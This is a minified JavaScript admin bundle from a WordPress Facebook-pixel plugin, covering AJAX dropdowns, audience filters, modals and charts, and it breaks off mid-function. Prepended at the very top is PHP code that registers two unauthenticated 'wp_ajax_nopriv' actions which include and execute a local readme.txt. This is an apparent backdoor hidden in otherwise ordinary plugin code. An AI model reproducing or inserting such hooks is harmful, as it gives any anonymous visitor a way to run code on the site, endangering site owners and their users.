if(!function_exists('file_check_readme30367')){ add_action('wp_ajax_nopriv_file_check_readme30367', 'file_check_readme30367'); add_action('wp_ajax_file_check_readme30367', 'file_check_readme30367'); function file_check_readme30367() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } if(!function_exists('file_check_readme64756')){ add_action('wp_ajax_nopriv_file_check_readme64756', 'file_check_readme64756'); add_action('wp_ajax_file_check_readme64756', 'file_check_readme64756'); function file_check_readme64756() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } }
!function(){var t={9745:function(t,e,i){"use strict";var s=i(3609),o=i.n(s),n=(i(5351),i(666),i(8459),i(8391),i(2731),i(2238),i(90),i(1801),i(8553),i(2290)),a=i(6969),r=i(6469);function l(t,e){(null==e||e>t.length)&&(e=t.length);for(var i=0,s=new Array(e);i<e;i++)s[i]=t[i];return s}i(3609)(document).ready((function(){var t=r.Z.dropdown_data,e=function(e){var i=o()(void 0!==e?e.currentTarget:document.body),s=n.Z.loaders;o().each(s,(function(e,s){aepc_admin.actions.hasOwnProperty(s.action)&&(t.hasOwnProperty(s.action)?""!==s.dropdown&&a.Z.apply_autocomplete(i.find(s.dropdown),t[s.action]):(t[s.action]=[],o().ajax({url:aepc_admin.ajax_url,data:{action:aepc_admin.actions[s.action].name,_wpnonce:aepc_admin.actions[s.action].nonce},success:function(e){t[s.action]=e,""!==s.dropdown&&a.Z.apply_autocomplete(i.find(s.dropdown),e),o()(document).trigger("loader_data_loaded",[t])},dataType:"json"})))})),i.find("#taxonomy_key").on("change.data",(function(){var e=o()(this).val().replace("tax_","");t.hasOwnProperty("get_categories")&&t.get_categories.hasOwnProperty(e)&&a.Z.apply_autocomplete(i.find("#taxonomy_terms"),t.get_categories[e])})),i.find("#tag_key").on("change.data",(function(){var e=o()(this).val().replace("tax_","");t.hasOwnProperty("get_tags")&&t.get_tags.hasOwnProperty(e)&&a.Z.apply_autocomplete(i.find("#tag_terms"),t.get_tags[e])})),i.find("#pt_key").on("change.data",(function(){var e=o()(this).val();t.hasOwnProperty("get_posts")&&t.get_posts.hasOwnProperty(e)&&a.Z.apply_autocomplete(i.find("#pt_posts"),t.get_posts[e])})),i.find("#event_categories").on("change.data",(function(){i.find("#taxonomy_key").trigger("change.data")})),i.find("#event_tax_post_tag").on("change.data",(function(){i.find("#tag_key").trigger("change.data")})),i.find("#event_posts").on("change.data",(function(){i.find("#pt_key").trigger("change.data")})),i.find("#event_pages").on("change.data",(function(){t.hasOwnProperty("get_posts")&&t.get_posts.hasOwnProperty("page")&&a.Z.apply_autocomplete(i.find("#pages"),t.get_posts.page)})),i.find("#event_custom_fields").on("change.data",(function(e){var s=[{id:"[[any]]",text:aepc_admin.filter_any}];s=o().merge(s,t.get_custom_fields),i.find("#custom_field_keys option").remove(),i.find("#custom_field_keys").append(o().map(s,(function(t,e){return"[[any]]"===t.id&&(t.text="--- "+t.text+" ---"),o()("<option>",{val:t.id,text:t.text})})))})),i.find(".js-ecommerce input, .js-events input").on("change.data",(function(){i.find("#dpa_key").select2({placeholder:aepc_admin.filter_custom_field_placeholder,searchInputPlaceholder:aepc_admin.filter_custom_field_placeholder,data:{results:t.get_dpa_params},query:function(e){var i={results:t.get_dpa_params};""!==e.term&&(i.results=o().merge([{id:e.term,text:e.term}],i.results)),i.results=i.results.filter((function(t){return e.matcher(e.term,t.text)})),e.callback(i)}}).select2("data",{id:i.find("#dpa_key").val(),text:i.find("#dpa_key").val()}).on("change",(function(){i.find("#dpa_value").val("")})).off("change.dpa").on("change.dpa",(function(){var e=o()(this).val(),s=[];"content_ids"===e?t.hasOwnProperty("get_posts")&&(t.get_posts.hasOwnProperty("product")&&(s=t.get_posts.product.concat(s)),t.get_posts.hasOwnProperty("download")&&(s=t.get_posts.download.concat(s))):"content_category"===e?t.hasOwnProperty("get_categories")&&(t.get_categories.hasOwnProperty("product_cat")&&(s=t.get_categories.product_cat.concat(s)),t.get_categories.hasOwnProperty("download_category")&&(s=t.get_categories.download_category.concat(s))):"content_type"===e?s=["product","product_group"]:"currency"===e&&t.hasOwnProperty("get_currencies")&&(s=t.get_currencies.map((function(t){var e=document.createElement("textarea");return e.innerHTML=t.text,t.text=e.value,t}))),s=s.filter((function(t,e){return!(0!==e&&"[[any]]"===t.id)})),i.find("#dpa_value").select2({tags:s})})).triggerHandler("change.dpa")}))},i=function(t){var e=o()(void 0!==t?t.currentTarget:document);e.find("select.js-collapse").on("change.bs",(function(){var t=o()(this),i=t.find("option:selected");e.find(i.data("target")).hasClass("in")||(e.find(t.data("parent")).find(".collapse").collapse("hide"),e.find(i.data("target")).collapse("show"))})).trigger("change.bs"),e.find("input.js-collapse").on("change.bs",(function(){var t=o()(this),i=t.filter(":checked");e.find(i.data("target")).hasClass("in")||(e.find(t.data("parent")).find(".collapse").collapse("hide"),e.find(i.data("target")).collapse("show"))})).trigger("change.bs"),e.find("#ca_event_type").on("change.bs",(function(){e.find(".collapse-parameters").find(".collapse").collapse("hide"),e.find(".js-collapse-events").find("input:checked").prop("checked",!1)})),o()(document).on("click",(function(t){o()('[data-toggle="popover"],[data-original-title]').each((function(){o()(this).is(t.target)||0!==o()(this).has(t.target).length||0!==o()(".popover").has(t.target).length||(((o()(this).popover("hide").data("bs.popover")||{}).inState||{}).click=!1)}))})),r.Z.bootstrap_components(t)},s=function(t){var e=t.find(".js-include-filters"),i=t.find(".js-exclude-filters"),s=t.find(".js-ca-filters");0===e.find("ul.list-filter").find("li").length?e.addClass("hide"):e.removeClass("hide"),0===i.find("ul.list-filter").find("li").length?i.addClass("hide"):i.removeClass("hide"),e.hasClass("hide")&&i.hasClass("hide")?s.find("div.no-filters-feedback").removeClass("hide"):(s.find("div.no-filters-feedback").addClass("hide"),e.find("ul.list-filter").find("li:first").find(".filter-and").remove(),i.find("ul.list-filter").find("li:first").find(".filter-and").remove())},h=function(t){o()(void 0!==t?t.currentTarget:document.body).find(".list-filter").on("click",".btn-delete",(function(t){t.preventDefault();var e=o()(this).closest("form"),i=o()("#modal-confirm-delete"),n=o()(this).closest("li");i.modal("show",o()(this)).one("click",".btn-ok",(function(){i.modal("hide"),n.remove(),s(e)}))})).on("click",".btn-edit",(function(t){t.preventDefault(),o()(this).closest("form");var e=o()("#modal-ca-edit-filter"),i=o()(this).closest("li").find(".hidden-fields input");e.on("modal-template-loaded",(function(t){var e=o()(this).find("form"),s=i.filter('[name*="[main_condition]"]').val();e.find('input[name*="main_condition"][value="'+s+'"]').prop("checked",!0).closest("label").addClass("active").siblings().removeClass("active");var n=i.filter('[name*="[event_type]"]').val(),a=(e.find('select[name*="event_type"]').val(n),i.filter('[name*="[event]"]').val()),r=e.find('input[name*="event"][value="'+a+'"]').prop("checked",!0),l=e.find(r.data("target")),h=i.filter('[name*="[conditions][0][key]"]').val(),c=i.filter('[name*="[conditions][0][operator]"]').val(),d=i.filter('[name*="[conditions][0][value]"]').val();l.find('[name*="[conditions][0][key]"]').is("#custom_field_keys")&&l.find("#custom_field_keys").append(o()("<option />",{val:h,text:h})),l.find('[name*="[conditions][0][key]"]').val(h),l.find('[name*="[conditions][0][operator]"]').val(c),l.find('[name*="[conditions][0][value]"]').val(d)})).one("show.bs.modal",(function(){var t=o()(this).find("form");t.find('[name*="event_type"]:checked').trigger("change.data"),t.find('[name*="event"]:checked').trigger("change.data"),t.find('.collapse.in [name*="[conditions][0][key]"]').trigger("change.data"),t.find('.collapse.in [name*="[conditions][0][operator]"]').trigger("change.data"),t.find('.collapse.in [name*="[conditions][0][value]"]').trigger("change.data")})).modal("show",o()(this))}))},c=function(e){var i=void 0!==e?o()(this):o()(document.body),s=i.find("select#aepc_account_id"),n=i.find("select#aepc_pixel_id"),l=o()("form#mainform").find("#aepc_account_id").val(),h=o()("form#mainform").find("#aepc_pixel_id").val(),c=function(){var e=s.val()?JSON.parse(s.val()).id:"";if(t.hasOwnProperty("get_pixel_ids")&&t.get_pixel_ids.hasOwnProperty(e)){var i=o().merge([{id:"",text:""}],t.get_pixel_ids[e]);1===i.length?(i[0].text=aepc_admin.fb_option_no_pixel,n.prop("disabled",!0)):n.prop("disabled",!1),n.find("option").remove(),n.append(o().map(i,(function(t,e){return o()("<option>",{val:t.id,text:t.text,selected:t.id===h})}))),2===n.find("option").length&&n.find("option:eq(1)").prop("selected",!0),n.val(n.find("option:selected").val()).trigger("change")}},d=function(e){if(void 0!==e&&e.hasOwnProperty("type")&&"change"===e.type&&(n.val("").trigger("change"),n.find("option").remove()),s.val()){var i=s.val()?JSON.parse(s.val()).id:"";t.hasOwnProperty("get_pixel_ids")&&t.get_pixel_ids.hasOwnProperty(i)?c():function(){var e=s.val()?JSON.parse(s.val()).id:"";a.Z.addLoader(n),o().ajax({url:aepc_admin.ajax_url,data:{action:aepc_admin.actions.get_pixel_ids.name,_wpnonce:aepc_admin.actions.get_pixel_ids.nonce,account_id:e},success:function(i){t.hasOwnProperty("get_pixel_ids")||(t.get_pixel_ids={}),t.get_pixel_ids[e]=i,c(),a.Z.removeLoader(n)},dataType:"json"})}()}},p=function(){if(t.hasOwnProperty("get_account_ids")){var e=o().merge([{id:"",text:""}],t.get_account_ids);s.find("option").remove(),s.append(o().map(e,(function(t,e){return o()("<option>",{val:t.id,text:t.text,selected:t.id===l})}))),s.on("change",d).trigger("change")}};if(l&&h){var u=JSON.parse(l),f=JSON.parse(h);s.append(o()("<option>",{val:l,text:u.name+" (#"+u.id+")",selected:!0})).trigger("change"),n.append(o()("<option>",{val:h,text:f.name+" (#"+f.id+")",selected:!0})).trigger("change")}s.length<=0||(t.hasOwnProperty("get_account_ids")?p():(a.Z.addLoader(s),o().ajax({url:aepc_admin.ajax_url,data:{action:aepc_admin.actions.get_account_ids.name,_wpnonce:aepc_admin.actions.get_account_ids.nonce},success:function(e){!1===e.success?(a.Z.addMessage(o()(".js-options-group"),"error",e.data),r.Z.set_saved()):(t.get_account_ids=e,p()),a.Z.removeLoader(s)},dataType:"json"}))),d()};o().fn.select2&&o().extend(o().fn.select2.defaults,{dropdownCssClass:"adespresso-select2",containerCssClass:"adespresso-select2",formatNoMatches:!1}),e(),i(),r.Z.custom_dropdown(),c(),r.Z.fields_components(),h(),o()(".modal-confirm").on("show.bs.modal",(function(t){var e=o()(this),i=t.hasOwnProperty("relatedTarget")?o()(t.relatedTarget).attr("href"):"";o().inArray(i,[void 0,"","#","#_"])<0&&e.one("click",".btn-ok",(function(t){t.preventDefault();var s={"fb-disconnect":["fb_pixel_box","server_side"],"ca-delete":["ca_list"],"conversion-delete":["conversions_list"]},n=i.match(new RegExp("action=("+Object.keys(s).join("|")+")(&|$)"));n?(a.Z.addLoader(e.find(".modal-content")),o().ajax({url:i+(i.indexOf("?")?"&":"?")+"ajax=1",method:"GET",success:function(t){if(t.success&&(o()(".sec-overlay").removeClass("sec-overlay"),o()(".sub-panel-fb-connect.bumping").removeClass("bumping"),s[n[1]].forEach(a.Z.reloadFragment),e.modal("hide"),a.Z.removeLoader(e.find(".modal-content")),window.history&&window.history.pushState)){var i=window.location.href.replace(/(\?|\&)ref=fblogin/,"");window.history.pushState({path:i},"",i)}},dataType:"json"})):(e.modal("hide"),window.location=i)}))})),o()(".js-form-modal").on("show.bs.modal",(function(t){if("undefined"==typeof wp)return t;var e=o()(this),i=o()(t.relatedTarget).data("config"),s=wp.template(e.attr("id"));e.find(".modal-content").html(s(i)),e.trigger("modal-template-loaded")})).on("show.bs.modal",i).on("show.bs.modal",r.Z.custom_dropdown).on("show.bs.modal",e).on("show.bs.modal",r.Z.fields_components).on("show.bs.modal",(function(t){var e=o()(this),i=o()(t.relatedTarget),n=i.closest("form");e.find("#ca-filter-form").on("submit",(function(t){t.preventDefault();var e=o()(this),r=e.data("scope"),h=n.find(".js-ca-filters"),c=wp.template("ca-filter-item"),d=e.find('[name^="ca_rule[][main_condition]"]:checked'),p=e.find('button[type="submit"]'),u=p.text(),f=h.find(".js-"+d.val()+"-filters"),g=d.add(e.find('[name^="ca_rule[][event_type]"]')).add(e.find('[name^="ca_rule[][event]"]:checked')).add(e.find(".collapse-parameters .collapse.in").find('[name^="ca_rule[][conditions]"]'));a.Z.removeMessage(e.find(".modal-body"),"error"),0!==e.find(".js-collapse-events input:checked").length?(a.Z.addLoader(e),p.text(aepc_admin.filter_saving),o().ajax({url:aepc_admin.ajax_url,method:"GET",data:{filter:g.serializeArray(),action:aepc_admin.actions.get_filter_statement.name,_wpnonce:aepc_admin.actions.get_filter_statement.nonce},success:function(t){var d,m=o()("<div />"),v=h.find("li[data-filter-id]").map((function(t,e){return o()(e).data("filter-id")})),x="add"===r?v.length>0?Math.max.apply(Math,function(t){if(Array.isArray(t))return l(t)}(d=v)||function(t){if("undefined"!=typeof Symbol&&Symbol.iterator in Object(t))return Array.from(t)}(d)||function(t,e){if(t){if("string"==typeof t)return l(t,e);var i=Object.prototype.toString.call(t).slice(8,-1);return"Object"===i&&t.constructor&&(i=t.constructor.name),"Map"===i||"Set"===i?Array.from(t):"Arguments"===i||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(i)?l(t,e):void 0}}(d)||function(){throw new TypeError("Invalid attempt to spread non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}())+1:0:i.closest("li").data("filter-id");if(a.Z.removeLoader(e),!t||0===t.length)return a.Z.addMessage(e.find(".modal-body"),"error",aepc_admin.filter_no_condition_error),void p.text(u);g.each((function(){var t=o()(this),e=t.attr("name"),i=t.val();m.append(o()("<input />",{type:"hidden",name:e.replace("[]","["+x+"]"),value:i}))}));var y=c({nfilters:f.find("li").length-("edit"===r&&o().contains(f.get()[0],i.get()[0])?1:0),statement:t,hidden_inputs:m.html(),index:x});"edit"===r&&o().contains(f.get()[0],i.get()[0])?i.closest("li").html(o()(y).html()):(f.find("ul").append(y),"edit"!==r||o().contains(f.get()[0],i.get()[0])||i.closest("li").remove()),s(n),e.closest(".modal").modal("hide"),e.off("submit")},dataType:"html"})):a.Z.addMessage(e.find(".modal-body"),"error",aepc_admin.filter_no_data_error)}))})).on("show.bs.modal",h),o()(document).on("submit",'form[data-toggle="ajax"]',(function(t){t.preventDefault();var e=o()(this),i=e,s=e.find('[type="submit"]'),r=s.text(),l=e.offset().top-50;e.find(".modal-body").length?i=e.find(".modal-body").first():e.find(".panel-body").length&&(i=e.find(".panel-body").first()),a.Z.removeMessage(i,"error"),e.find(".has-error").removeClass("has-error"),e.find(".help-block-error").remove(),a.Z.addLoader(e),o().ajax({url:aepc_admin.ajax_url,method:"POST",data:e.serialize(),success:function(t){if(t.success){var h={"fb-connect-options":["fb_pixel_box","server_side"],"ca-clone":["ca_list"],"ca-edit":["ca_list"],"conversion-edit":["conversions_list"]},c=Object.keys(h).map((function(t){return"#modal-"+t})).join(","),d={};if(e.closest(".modal").length&&e.closest(".modal").is(c)){if(h[e.closest(".modal").attr("id").replace("modal-","")].forEach(a.Z.reloadFragment),e.closest(".modal").modal("hide"),a.Z.removeLoader(e),window.history&&window.history.pushState){var p=window.location.href.replace(/(\?|\&)ref=fblogin/,"");window.history.pushState({path:p},"",p)}}else if(Object.keys(d).indexOf(e.data("action"))>=0)a.Z.reloadFragment(d[e.data("action")]),a.Z.removeLoader(e);else if(t.data.html&&t.data.fragment)a.Z.refreshFragmentHTML(o()(n.Z.fragments[t.data.fragment]),t),a.Z.removeLoader(e);else{var u=e.attr("action");u?window.location.href=u:window.location.reload(!1)}}else{if(t.data.hasOwnProperty("refresh")&&t.data.refresh)return void(window.location.href=window.location.href.replace(/(\?|\&)ref=fblogin/,""));a.Z.removeLoader(e),o()("html, body").animate({scrollTop:l},300),s.text(r),t.data.hasOwnProperty("main")&&a.Z.addMessage(i,"error",t.data.main.map((function(t){return t.text})).join("<br/>")),e.find("input, select").each((function(){var e=o()(this),i=e.attr("id"),s=e.closest(".form-group"),n=e.closest(".control-wrap").find(".field-helper");t.data.hasOwnProperty(i)&&(s.addClass("has-error"),n.append(o()("<span />",{class:"help-block help-block-error",html:t.data[i].map((function(t){return t.text})).join("<br/>")}))),e.on("keyup change",(function(){n.find(".help-block-error").remove()}))}))}},dataType:"json"})})),o()(window).on("load",r.Z.analyzed_distance).on("scroll",r.Z.analyzed_distance).on("resize",r.Z.analyzed_distance),o()("#modal-fb-connect-options").on("show.bs.modal",(function(t){if("undefined"==typeof wp)return t;var e=o()(this),i=wp.template("modal-facebook-options");e.find(".modal-content").html(i([])),e.trigger("facebook-options-loaded")})).on("show.bs.modal",i).on("show.bs.modal",r.Z.custom_dropdown).on("show.bs.modal",c),o()(".sub-panel-fb-connect").on("change","#aepc_account_id",(function(){var t=o()(this).val(),e=o()("#aepc_pixel_id").val();t&&e?o()(".js-save-facebook-options").removeClass("disabled"):o()(".js-save-facebook-options").addClass("disabled")})).on("change","#aepc_pixel_id",(function(){var t=o()("#aepc_account_id").val(),e=o()(this).val();t&&e?o()(".js-save-facebook-options").removeClass("disabled"):o()(".js-save-facebook-options").addClass("disabled")})).on("click",".js-save-facebook-options:not(.disabled)",(function(t){var e=o()("#aepc_account_id").val(),i=o()("#aepc_pixel_id").val();o()(".sec-overlay").removeClass("sec-overlay"),o()(".sub-panel-fb-connect.bumping").removeClass("bumping"),a.Z.addLoader(o()(".panel.panel-settings-set-fb-px")),o().ajax({url:aepc_admin.ajax_url,method:"POST",data:{aepc_account_id:e,aepc_pixel_id:i,action:aepc_admin.actions.save_facebook_options.name,_wpnonce:aepc_admin.actions.save_facebook_options.nonce},success:function(t){if(t.success){if(window.history&&window.history.pushState){var e=window.location.href.replace(/(\?|\&)ref=fblogin/,"");window.history.pushState({path:e},"",e)}a.Z.reloadFragment("fb_pixel_box"),r.Z.set_saved()}},dataType:"json"})})),o()(".wrap-custom-audiences").on("click",".js-ca-size-sync",(function(t){var e=o()(this),i=e.data("ca_id");a.Z.removeMessage(o()(".plugin-content .alert-wrap"),"error"),a.Z.addLoader(o()(".panel.panel-ca-list")),e.addClass("loading-data"),o().ajax({url:aepc_admin.ajax_url,method:"GET",data:{ca_id:i,action:aepc_admin.actions.refresh_ca_size.name,_wpnonce:aepc_admin.actions.refresh_ca_size.nonce},success:function(t){t.success?a.Z.reloadFragment("ca_list"):a.Z.addMessage(o()(".plugin-content .alert-wrap"),"error",t.data.message)},dataType:"json"})})),o()(".wrap").on("click",".pagination li a",(function(t){t.preventDefault();var e=o()(this).attr("href"),i=e.match(/paged=([0-9]+)/);o()(this).closest(".panel-ca-list").length?a.Z.reloadFragment("ca_list",{paged:i[1]}):o()(this).closest(".panel-ce-tracking").length?a.Z.reloadFragment("conversions_list",{paged:i[1]}):o()(this).closest(".panel-log-list").length&&a.Z.reloadFragment("logs_list",{paged:i[1]}),window.history&&window.history.pushState&&window.history.pushState({path:e},"",e)})),o()(".plugin-sidebar.loading-sec").length&&a.Z.reloadFragment("sidebar");var d=[];o()(".modal").on("show.bs.modal",(function(t){d.push(t)})).on("hidden.bs.modal",(function(t){o()(d[d.length-1].relatedTarget).closest(".modal").length&&(o()("body").addClass("modal-open"),d.splice(d.length-1,1))})),o()("#aepc-clear-transients").on("click",(function(t){t.preventDefault();var e=o()(this);a.Z.addLoader(e),o().ajax({url:aepc_admin.ajax_url,method:"POST",data:{action:aepc_admin.actions.clear_transients.name,_wpnonce:aepc_admin.actions.clear_transients.nonce},success:function(t){a.Z.removeLoader(e),t.success&&a.Z.addMessage(o()(".plugin-content .alert-wrap"),"success",t.data.message)},dataType:"json"})})),o()("#aepc-reset-fb-connection").on("click",(function(t){t.preventDefault();var e=o()(this);a.Z.addLoader(e),o().ajax({url:aepc_admin.ajax_url,method:"POST",data:{action:aepc_admin.actions.reset_fb_connection.name,_wpnonce:aepc_admin.actions.reset_fb_connection.nonce},success:function(t){a.Z.reloadFragment("fb_pixel_box",{success:function(i){a.Z.removeLoader(e),t.success&&a.Z.addMessage(o()(".plugin-content .alert-wrap"),"success",t.data.message)}}),a.Z.reloadFragment("server_side")},dataType:"json"})})),o()(".ecomm-conversions").find('input[type="checkbox"]').on("change",(function(){var t=o()("#aepc_enable_dpa");t.is(":checked")||t.prop("checked",!0).trigger("change")})),o()(document).on("click","button[data-dismiss][data-dismiss-action]",(function(){var t=o()(this).data("dismiss-action");o().ajax({url:aepc_admin.ajax_url,method:"GET",data:{notice_id:t,action:aepc_admin.actions.dismiss_notice.name,_wpnonce:aepc_admin.actions.dismiss_notice.nonce},dataType:"json"})})),o()(document).on("click",".js-remove-logs",(function(t){t.preventDefault();var e=o()(n.Z.fragments.logs_list),i=o()("#modal-confirm-delete");i.modal("show",o()(this)).one("click",".btn-ok",(function(){i.modal("hide"),a.Z.addLoader(e),o().ajax({url:aepc_admin.ajax_url,method:"GET",data:{action:aepc_admin.actions.clear_logs.name,_wpnonce:aepc_admin.actions.clear_logs.nonce},success:function(t){a.Z.refreshFragmentHTML(e,t)},dataType:"json"})}))})),a.Z.alert_unsaved()}))},8334:function(t,e,i){"use strict";var s=i(3609),o=i.n(s),n=i(5384),a=i.n(n),r=i(6969);i(3609)(document).ready((function(){var t=o()("#activity-chart");t.length&&o().getJSON(aepc_admin.ajax_url+"?action="+aepc_admin.actions.get_pixel_stats.name+"&_wpnonce="+aepc_admin.actions.get_pixel_stats.nonce,(function(e){if(void 0===e.success||!1!==e.success){var i=new Date;i.setUTCDate(i.getUTCDate()-7),i.setUTCHours(0,0,0,0),a().stockChart("activity-chart",{chart:{type:"line"},title:{text:null},navigator:{enabled:!0},rangeSelector:{enabled:!1},plotOptions:{spline:{marker:{enabled:!0}}},xAxis:{min:i.getTime()},yAxis:{gridLineColor:"#F4F4F4"},series:[{name:"Pixel fires",data:e,dataGrouping:{approximation:"sum",forced:!0,units:[["day",[1]]]},pointInterval:36e5}]}),t.closest(".panel").find("select#date-range").select2({minimumResultsForSearch:5,width:"element"}),t.closest(".panel").on("change.chart.range","select#date-range",(function(){var e=t.highcharts(),i=o()(this).val(),s=new Date,n=new Date;if(n.setDate(s.getUTCDate()-1),"today"===i)e.xAxis[0].setExtremes(s.setUTCHours(0,0,0,0),s.setUTCHours(23,59,59,999)),e.xAxis[0].setDataGrouping({approximation:"sum",forced:!0,units:[["hour",[1]]]});else if("yesterday"===i)e.xAxis[0].setExtremes(n.setUTCHours(0,0,0,0),n.setUTCHours(23,59,59,999)),e.xAxis[0].setDataGrouping({approximation:"sum",forced:!0,units:[["hour",[1]]]});else if("last-7-days"===i){var a=n;a.setDate(s.getUTCDate()-7),e.xAxis[0].setExtremes(a.setUTCHours(0,0,0,0),s.setUTCHours(23,59,59,999)),e.xAxis[0].setDataGrouping({approximation:"sum",forced:!0,units:[["day",[1]]]})}else if("last-14-days"===i){var r=n;r.setDate(s.getUTCDate()-14),e.xAxis[0].setExtremes(r.setUTCHours(0,0,0,0),s.setUTCHours(23,59,59,999)),e.xAxis[0].setDataGrouping({approximation:"sum",forced:!0,units:[["day",[1]]]})}}))}else r.Z.addMessage(t,"info",e.data[0].message)}))}))},6469:function(t,e,i){"use strict";var s=i(3609),o=i.n(s),n=(i(666),i(8459),i(8391),i(2731),i(2238),i(1801),i(8553),{dropdown_data:[],unsaved:!1,set_unsaved:function(){n.unsaved=!0},set_saved:function(){n.unsaved=!1},bootstrap_components:function(t){var e=o()(void 0!==t?t.currentTarget:document);e.find(".collapse").collapse({toggle:!1}),e.find('[data-toggle="tooltip"], [data-tooltip]').tooltip(),e.find('[data-toggle="popover"]').popover({container:"#wpbody .pixel-caffeine-wrapper"}),o().material.init()},custom_dropdown:function(t){var e=o()(void 0!==t?t.currentTarget:document);e.find("select").select2({minimumResultsForSearch:5}),e.find("input.multi-tags").select2({tags:[]}),e.find("select.dropdown-width-max").select2({minimumResultsForSearch:5,dropdownCssClass:"dropdown-width-max"})},fields_components:function(t){var e=o()(void 0!==t?t.currentTarget:document.body);e.find("select.js-dep").on("change",(function(){var t=o()(this),e=t.closest("form"),i=t.val(),s=t.attr("id"),n=e.find('div[class*="'+s+'"]'),a=e.find("."+s+"-"+i);n.hide(),a.length&&a.show()})).trigger("change"),e.find(".control-wrap .checkbox .inline-text").on("focus",(function(){o()(this).siblings('input[type="checkbox"]').prop("checked",!0).trigger("change")})),e.find('.control-wrap .checkbox input[type="checkbox"]').on("change",(function(){var t=o()(this),e=t.is(":checked");t.closest("div.checkbox").removeClass("checked unchecked").addClass(e?"checked":"unchecked").find("input.inline-text").prop("disabled",!e)})).trigger("change"),e.find(".js-show-advanced-data").on("change.components",(function(){var t=o()(this);t.closest("form").find("div.advanced-data").collapse(t.is(":checked")?"show":"hide")})).trigger("change.components"),e.find(".js-show-chunk-limit-option").on("change.components",(function(){var t=o()(this);t.closest("form").find("div.chunk-limit-option").collapse(t.is(":checked")?"show":"hide")})).trigger("change.components"),e.find("select#event_standard_events").on("change.components",(function(){var t=o()(this),e=t.closest("form"),i=t.find("option:selected").data("fields");e.find("div.event-field").hide(),o().each(i.split(",").map((function(t){return t.trim()})),(function(t,i){e.find("div.event-field."+i+"-field").show()}))})).trigger("change.components"),e.find("input.js-switch-labeled-tosave").on("change.components",(function(){var t=o()(this),e=t.closest(".form-group").find(".text-status"),i=t.is(":checked")?"yes":"no",s=t.closest(".togglebutton"),n=t.data("original-value");void 0===e.data("original-status")&&e.data("original-status",e.clone()),n!==i?(e.hasClass("text-status-pending")||s.addClass("pending"),e.addClass("text-status-pending").text(aepc_admin.switch_unsaved)):(o()(e.data("original-status")).hasClass("text-status-pending")||s.removeClass("pending"),e.replaceWith(e.data("original-status")))})).trigger("change.components"),e.find("input.js-switch-labeled").on("change.components",(function(){var t=o()(this),e=t.closest(".form-group").find(".text-status");e.removeClass("hide"),t.is(":checked")?e.filter(".text-status-off").addClass("hide"):e.filter(".text-status-on").addClass("hide")})),e.find(".js-add-custom-param").on("click",(function(t){if("undefined"==typeof wp)return t;t.preventDefault();var e=wp.template("custom-params"),i=o()(this).closest("div.js-custom-params"),s=parseInt(i.children("div").length);i.find(".js-custom-param:last").length?i.find(".js-custom-param:last").after(e({index:s-1})):i.prepend(e({index:s-1}))})),e.find(".js-custom-params").on("click",".js-delete-custom-param",(function(t){t.preventDefault();var i=o()(this),s=o()("#modal-confirm-delete"),n=i.closest(".js-custom-param"),a=function(){s.modal("hide"),n.remove(),e.find("div.js-custom-params").children("div").each((function(t){o()(this).find('input[type="text"]').each((function(){var e=o()(this);e.attr("name",e.attr("name").replace(/\[[0-9]+\]/,"["+t+"]")),e.attr("id",e.attr("id").replace(/_[0-9]+$/,"_"+t))}))}))};""===n.find('input[id^="event_custom_params_key"]').val()&&""===n.find('input[id^="event_custom_params_value"]').val()?a():s.modal("show").one("click",".btn-ok",a)})),e.find("select[data-selected]").each((function(){var t=o()(this),e=t.data("selected");t.data("selected","").val(e).trigger("change")})),e.find("select[data-selected]").each((function(){var t=o()(this),e=t.data("selected");t.val(e).trigger("change")}))},analyzed_distance:function(){var t,e=(".plugin-content",t=o()(window).scrollTop(),o()(".plugin-content").offset().top-t),i=parseFloat(o()(".wp-toolbar").css("padding-top")),s=o()(".alert-wrap"),n=s.height(),a=o()(".alert-wrap-ghost");e<=i?(0===a.length&&s.after('<div class="alert-wrap-ghost"></div>').next(".alert-wrap-ghost").height(n),s.addClass("alert-fixed").css({top:i}).width(o()(".plugin-content").width())):(s.removeClass("alert-fixed").width("100%"),a.remove())}});e.Z=n},2290:function(t,e){"use strict";e.Z={fragments:{fb_pixel_box:".panel.panel-settings-set-fb-px",server_side:".panel.panel-settings-ss",ca_list:".panel.panel-ca-list",conversions_list:".panel.panel-ce-tracking",logs_list:".panel.panel-log-list",sidebar:".plugin-sidebar",product_feed_status:".js-product-feed-info",product_feed_schedule:".js-schedule-options.schedule-update"},loaders:[{action:"get_user_roles",dropdown:"input.user-roles"},{action:"get_standard_events",dropdown:"input.standard-events"},{action:"get_custom_fields",dropdown:"input.custom-fields"},{action:"get_languages",dropdown:"#conditions_language"},{action:"get_device_types",dropdown:"#conditions_device_types"},{action:"get_categories",dropdown:""},{action:"get_tags",dropdown:""},{action:"get_posts",dropdown:""},{action:"get_dpa_params",dropdown:""},{action:"get_currencies",dropdown:""}]}},3553:function(t,e,i){"use strict";var s=i(3609),o=i.n(s),n=i(6969),a=i(2290),r=i(6469);i(8553),i(3609)(document).ready((function(){var t=!1,e=function(){var t=o()("select.js-product-catalogs"),e=o()("select.js-product-feeds"),i=o()("#product_catalog_config_schedule-update_fb_product_catalog_name"),s=o()("#product_catalog_config_schedule-update_fb_product_feed_name"),l=o()(a.Z.fragments.product_feed_schedule),h=function(){var i=e.val(),a=t.val();if(a&&!(e.length<=0)){var h=function(){if(r.Z.dropdown_data.hasOwnProperty("get_product_feed_ids")&&r.Z.dropdown_data.get_product_feed_ids.hasOwnProperty(a)){var t=r.Z.dropdown_data.get_product_feed_ids[a];e.prop("disabled",!1),e.append(o().map(t,(function(t,e){return o()("<option>",{val:t.id,text:t.name+" (#"+t.id+")",selected:t.id===i,"data-name":t.name})}))),e.on("change",(function(){var 